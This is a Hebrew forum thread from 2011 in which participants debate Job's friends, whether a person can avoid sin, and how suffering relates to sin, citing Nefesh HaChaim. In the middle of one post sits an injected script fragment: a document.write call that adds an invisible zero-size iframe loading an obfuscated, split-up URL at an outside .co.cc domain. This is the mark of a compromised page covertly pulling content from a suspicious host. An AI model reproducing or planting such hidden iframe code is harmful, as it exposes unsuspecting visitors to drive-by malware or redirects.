בדרך כלל אני מסכים עם כל הודעתך האחרונה, אבל יש לי להעיר על הסוף. גם אם אמר איוב שחישב ולא מצא בעצמו עבירה, האם מותר להם להאמין לו?
אם אתה מסכים אתי שזה לא עניינם לעשות בשבילו את חשבון הנפש, אז מה השאלה האם מותר להם להאמין ? אף אחד לא בקש מהם לצרף את אמונתם לטענות איוב.
האם לא היה עליהם לענות: וכי יש צדיק בארץ אשר יעשה טוב ולא יחטא. למעשה, זה בדיוק מה שאמרו לו. כולל שגם במלאכיו ישים תהלה.
שוב, זה לא עניינם לשפוט אותו ואת צורת חשבון הנפש שהוא עושה. יכולים לעורר, להמליץ, אבל בעיקר מן הראוי שיקשיבו לו בלי הערות והתחכמויות.
הנקודה האחרונה הזו (בהמשך גם לתגובות אחרות) מעוררת שתי שאלות חשובות:
א. מה פירוש "אי אפשר לא לחטוא"?
זה נושא שלם- עולם התוהו אשר קדם למעשה בראשית. האם אתה מכיר או מעוניין להכיר אותו ?
ב. האם אין איזו פרופורציה בין הייסורים לבין החטא?
ודאי שיש, ופרופורציה מדוייקת להפליא. השאלה האם אנחנו מעריכים נכון את החטא ונזקיו. עיון קל בתחילת נפש החיים יבהיר לכל אחד את תחילת המהלך להערכה נכונה יותר. האם אתה מכיר או מעוניין להכיר אותו ? ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
נשלח ב-22/9/2011 01:42
שותף
העלית שני נושאים על פי הקבלה.
ראשית, שאין צדיק אשר לא יחטא.
שנית, טבלת עונשים מדוייקת על חטאים לפי נפש החיים.
כל אחד מהם ראוי לאשכול בפני עצמו.
אני סבור שכדאי שתתחיל בשני, באשכול מיוחד לכך. הנושא קצת מוכר לי ויהיה לי יותר קל איתו.
אנא הסבר בפרוטרוט את הרעיון עם לינקים כדי שמי שירצה יוכל לעיין גם בפנים. ונדון בל"נ.
נראה לי כי- האדם העושה חשבונות שמיים. אין בו אמונה!
נשלח ב-22/9/2011 12:47
מיימוני כתב:
שנית, טבלת עונשים מדוייקת על חטאים לפי נפש החיים.
כל אחד מהם ראוי לאשכול בפני עצמו.
אני סבור שכדאי שתתחיל בשני, באשכול מיוחד לכך. הנושא קצת מוכר לי ויהיה לי יותר קל איתו.
אם הבנת מדבריי שאפשר להגיע לטבלת ענשים מדוייקת הרי שזאת טעות של אחד משנינו.
אני כתבתי-
ודאי שיש, ופרופורציה מדוייקת להפליא. השאלה האם אנחנו מעריכים נכון את החטא ונזקיו. עיון קל בתחילת נפש החיים יבהיר לכל אחד את תחילת המהלך להערכה נכונה יותר. האם אתה מכיר או מעוניין להכיר אותו ?
וכוונתי היתה שנפש החיים מאפשר לנו להבין יותר את היקף נזקי החטא (ע"י שנכיר את העולמות העליונים המושפעים ממנו)וממילא תצטמצם עוצמת הסתירה לכאורה שבין החטא "הפעוט" והעונש "העצום".
בכל מקרה, אין אני מאמין שיש בכוחנו להגיע לטבלת עונשים מדוייקת, וכל התעוררות שתגיע לנו בעקבות אחד מהם תתקבל בברכה אע"פ שסביר מאד שאיננה בדיוק הסיבה האמיתית. אשר על כן הזמנתך לפתוח אשכול בנושא נדחית בנימוס.
נשלח ב-22/9/2011 12:51
האם בתשובת המשקל של רבותינו הראשונים אין פירוט ענשים או לפחות תחליפי ענשים?
נשלח ב-22/9/2011 16:24
שותפיסוד כתב:
מסורתי,
ברשותך אנסח את קביעתך בצורה פשוטה יותר:
לגבי אירועים שנעשו בעבר האמונה בצדקתם מחייבת לנתח על מה ולמה נעשו (לפחות לנסות).
לגבי האירועים שייעשו בעתיד יש את האיסור לחשב חשבונות שמיים מה מתי ואיך ייעשה.
וזה ההבדל שאתה מציין בין חכמת התורה שעוסקת בהתאמת הכתובים (שאינם עומדים לדיון, והם דומים לאירועים שכבר נעשו) בעוד שהפילוסופים שעוסקים (או עסקו פעם, כהערת מיימוני) במה שצריך וראוי להיות מכאן והלאה.
ניסחתי את קביעתך מחדש כי נראה לי שהחברים לא הבינו אותה. אם טעיתי- אני מוחק את דבריי.
תודה שותףסוד אכן זו כוונתי!
אלא שהוספתי שבשביל לנתח את האירועים שנעשו בעבר צריך בשביל כך ידע תורני
חוץ מזה שאנחנו יכולים לנתח את מה שעובר עלינו ולא את מה שעובר על אחרים (אלא אם כן אנחנו מזהים את מה שעובר עליהם בדיוק לפי מה שכתוב בתורה - וזה לא מציאותי)
